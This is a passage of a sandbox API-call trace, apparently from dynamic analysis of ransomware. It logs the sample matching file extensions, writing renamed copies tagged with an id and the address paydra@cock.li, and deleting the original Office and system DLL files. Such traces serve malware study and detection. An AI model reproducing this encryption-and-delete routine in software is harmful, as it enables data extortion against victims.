returned -1 [0054.422] lstrlenW (lpString=".ppt") returned 4 [0054.422] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.422] lstrlenW (lpString=".zip") returned 4 [0054.422] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.422] lstrlenW (lpString=".rar") returned 4 [0054.422] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.422] lstrlenW (lpString=".bz2") returned 4 [0054.422] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.422] lstrlenW (lpString=".7z") returned 3 [0054.422] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.422] lstrlenW (lpString=".dbf") returned 4 [0054.422] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.422] lstrlenW (lpString=".1cd") returned 4 [0054.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.422] lstrlenW (lpString=".jpg") returned 4 [0054.422] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.422] lstrlenW (lpString=".doc") returned 4 [0054.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.422] lstrlenW (lpString=".docx") returned 5 [0054.422] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.423] lstrlenW (lpString=".pdf") returned 4 [0054.423] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.423] lstrlenW (lpString=".xls") returned 4 [0054.423] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.423] lstrlenW (lpString=".xlsx") returned 5 [0054.423] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.423] lstrlenW (lpString=".ppt") returned 4 [0054.423] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.423] lstrlenW (lpString=".zip") returned 4 [0054.423] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.423] lstrlenW (lpString=".rar") returned 4 [0054.423] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.423] lstrlenW (lpString=".bz2") returned 4 [0054.423] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.423] lstrlenW (lpString=".7z") returned 3 [0054.423] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.423] lstrlenW (lpString=".dbf") returned 4 [0054.423] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.423] lstrlenW (lpString=".1cd") returned 4 [0054.423] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.423] lstrlenW (lpString=".jpg") returned 4 [0054.423] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.423] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.423] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0054.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.424] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=4096) returned 1 [0054.424] CloseHandle (hObject=0x22c) returned 1 [0054.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0054.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.425] lstrlenW (lpString=".doc") returned 4 [0054.425] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.425] lstrlenW (lpString=".docx") returned 5 [0054.425] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.425] lstrlenW (lpString=".pdf") returned 4 [0054.425] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.425] lstrlenW (lpString=".xls") returned 4 [0054.425] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.425] lstrlenW (lpString=".xlsx") returned 5 [0054.425] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.425] lstrlenW (lpString=".ppt") returned 4 [0054.425] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.425] lstrlenW (lpString=".zip") returned 4 [0054.425] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.425] lstrlenW (lpString=".rar") returned 4 [0054.425] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.425] lstrlenW (lpString=".bz2") returned 4 [0054.425] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.425] lstrlenW (lpString=".7z") returned 3 [0054.425] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.425] lstrlenW (lpString=".dbf") returned 4 [0054.425] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.425] lstrlenW (lpString=".1cd") returned 4 [0054.426] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.426] lstrlenW (lpString=".jpg") returned 4 [0054.426] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.426] lstrlenW (lpString=".doc") returned 4 [0054.426] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.426] lstrlenW (lpString=".docx") returned 5 [0054.426] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.426] lstrlenW (lpString=".pdf") returned 4 [0054.426] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.426] lstrlenW (lpString=".xls") returned 4 [0054.426] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.426] lstrlenW (lpString=".xlsx") returned 5 [0054.426] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.426] lstrlenW (lpString=".ppt") returned 4 [0054.426] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.426] lstrlenW (lpString=".zip") returned 4 [0054.426] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.426] lstrlenW (lpString=".rar") returned 4 [0054.426] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.426] lstrlenW (lpString=".bz2") returned 4 [0054.426] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.426] lstrlenW (lpString=".7z") returned 3 [0054.426] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.426] lstrlenW (lpString=".dbf") returned 4 [0054.426] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.426] lstrlenW (lpString=".1cd") returned 4 [0054.426] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0054.426] lstrlenW (lpString=".jpg") returned 4 [0054.427] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.427] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.427] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0054.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.427] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=4096) returned 1 [0054.427] CloseHandle (hObject=0x22c) returned 1 [0054.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0054.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0054.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0054.427] lstrlenW (lpString=".doc") returned 4 [0054.427] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.428] lstrlenW (lpString=".docx") returned 5 [0054.428] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.428] lstrlenW (lpString=".pdf") returned 4 [0054.428] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.428] lstrlenW (lpString=".xls") returned 4 [0054.428] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.428] lstrlenW (lpString=".xlsx") returned 5 [0054.428] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.908] lstrlenW (lpString=".ppt") returned 4 [0054.908] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0054.908] lstrlenW (lpString=".zip") returned 4 [0054.908] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.908] lstrlenW (lpString=".rar") returned 4 [0054.908] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.909] lstrlenW (lpString=".bz2") returned 4 [0054.909] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.909] lstrlenW (lpString=".7z") returned 3 [0054.909] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0054.909] lstrlenW (lpString=".dbf") returned 4 [0054.909] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.503] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.503] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0057.504] GetLastError () returned 0x0 [0057.504] ReadFile (in: hFile=0x230, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x665a0, lpOverlapped=0x0) returned 1 [0057.968] WriteFile (in: hFile=0x238, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0057.979] ReadFile (in: hFile=0x230, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.979] WriteFile (in: hFile=0x238, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.979] SetEndOfFile (hFile=0x238) returned 1 [0057.979] CloseHandle (hObject=0x238) returned 1 [0057.979] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.979] SetEndOfFile (hFile=0x230) returned 1 [0057.983] CloseHandle (hObject=0x230) returned 1 [0057.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0057.983] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0057.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.984] lstrlenW (lpString=".doc") returned 4 [0057.984] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.984] lstrlenW (lpString=".docx") returned 5 [0057.984] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0057.984] lstrlenW (lpString=".pdf") returned 4 [0057.984] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.984] lstrlenW (lpString=".xls") returned 4 [0057.984] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.984] lstrlenW (lpString=".xlsx") returned 5 [0057.984] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0057.984] lstrlenW (lpString=".ppt") returned 4 [0057.984] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.984] lstrlenW (lpString=".zip") returned 4 [0057.984] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.984] lstrlenW (lpString=".rar") returned 4 [0057.984] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.984] lstrlenW (lpString=".bz2") returned 4 [0057.984] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.984] lstrlenW (lpString=".7z") returned 3 [0057.984] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.985] lstrlenW (lpString=".dbf") returned 4 [0057.985] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.985] lstrlenW (lpString=".1cd") returned 4 [0057.985] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.985] lstrlenW (lpString=".jpg") returned 4 [0057.985] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.985] lstrlenW (lpString=".doc") returned 4 [0057.985] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.985] lstrlenW (lpString=".docx") returned 5 [0057.985] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0057.985] lstrlenW (lpString=".pdf") returned 4 [0057.985] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.985] lstrlenW (lpString=".xls") returned 4 [0057.985] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.985] lstrlenW (lpString=".xlsx") returned 5 [0057.985] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0057.985] lstrlenW (lpString=".ppt") returned 4 [0057.985] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.985] lstrlenW (lpString=".zip") returned 4 [0057.985] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.985] lstrlenW (lpString=".rar") returned 4 [0057.986] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.986] lstrlenW (lpString=".bz2") returned 4 [0057.986] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.986] lstrlenW (lpString=".7z") returned 3 [0057.986] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.986] lstrlenW (lpString=".dbf") returned 4 [0057.986] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.986] lstrlenW (lpString=".1cd") returned 4 [0057.986] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.986] lstrlenW (lpString=".jpg") returned 4 [0057.986] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.986] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0057.986] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0057.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0057.987] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=198056) returned 1 [0057.987] CloseHandle (hObject=0x230) returned 1 [0057.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0057.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0057.987] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.987] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0057.988] GetLastError () returned 0x0 [0057.988] ReadFile (in: hFile=0x230, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x305a8, lpOverlapped=0x0) returned 1 [0058.009] WriteFile (in: hFile=0x238, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0058.013] ReadFile (in: hFile=0x230, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.013] WriteFile (in: hFile=0x238, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.013] SetEndOfFile (hFile=0x238) returned 1 [0058.013] CloseHandle (hObject=0x238) returned 1 [0058.013] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.013] SetEndOfFile (hFile=0x230) returned 1 [0058.015] CloseHandle (hObject=0x230) returned 1 [0058.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0058.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.656] lstrlenW (lpString=".doc") returned 4 [0058.656] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.656] lstrlenW (lpString=".docx") returned 5 [0058.656] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.656] lstrlenW (lpString=".pdf") returned 4 [0058.656] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.656] lstrlenW (lpString=".xls") returned 4 [0058.656] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.656] lstrlenW (lpString=".xlsx") returned 5 [0058.656] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.656] lstrlenW (lpString=".ppt") returned 4 [0058.656] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.656] lstrlenW (lpString=".zip") returned 4 [0058.656] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.656] lstrlenW (lpString=".rar") returned 4 [0058.656] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.656] lstrlenW (lpString=".bz2") returned 4 [0058.656] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.656] lstrlenW (lpString=".7z") returned 3 [0058.656] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.656] lstrlenW (lpString=".dbf") returned 4 [0058.656] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.656] lstrlenW (lpString=".1cd") returned 4 [0058.656] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.657] lstrlenW (lpString=".jpg") returned 4 [0058.657] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 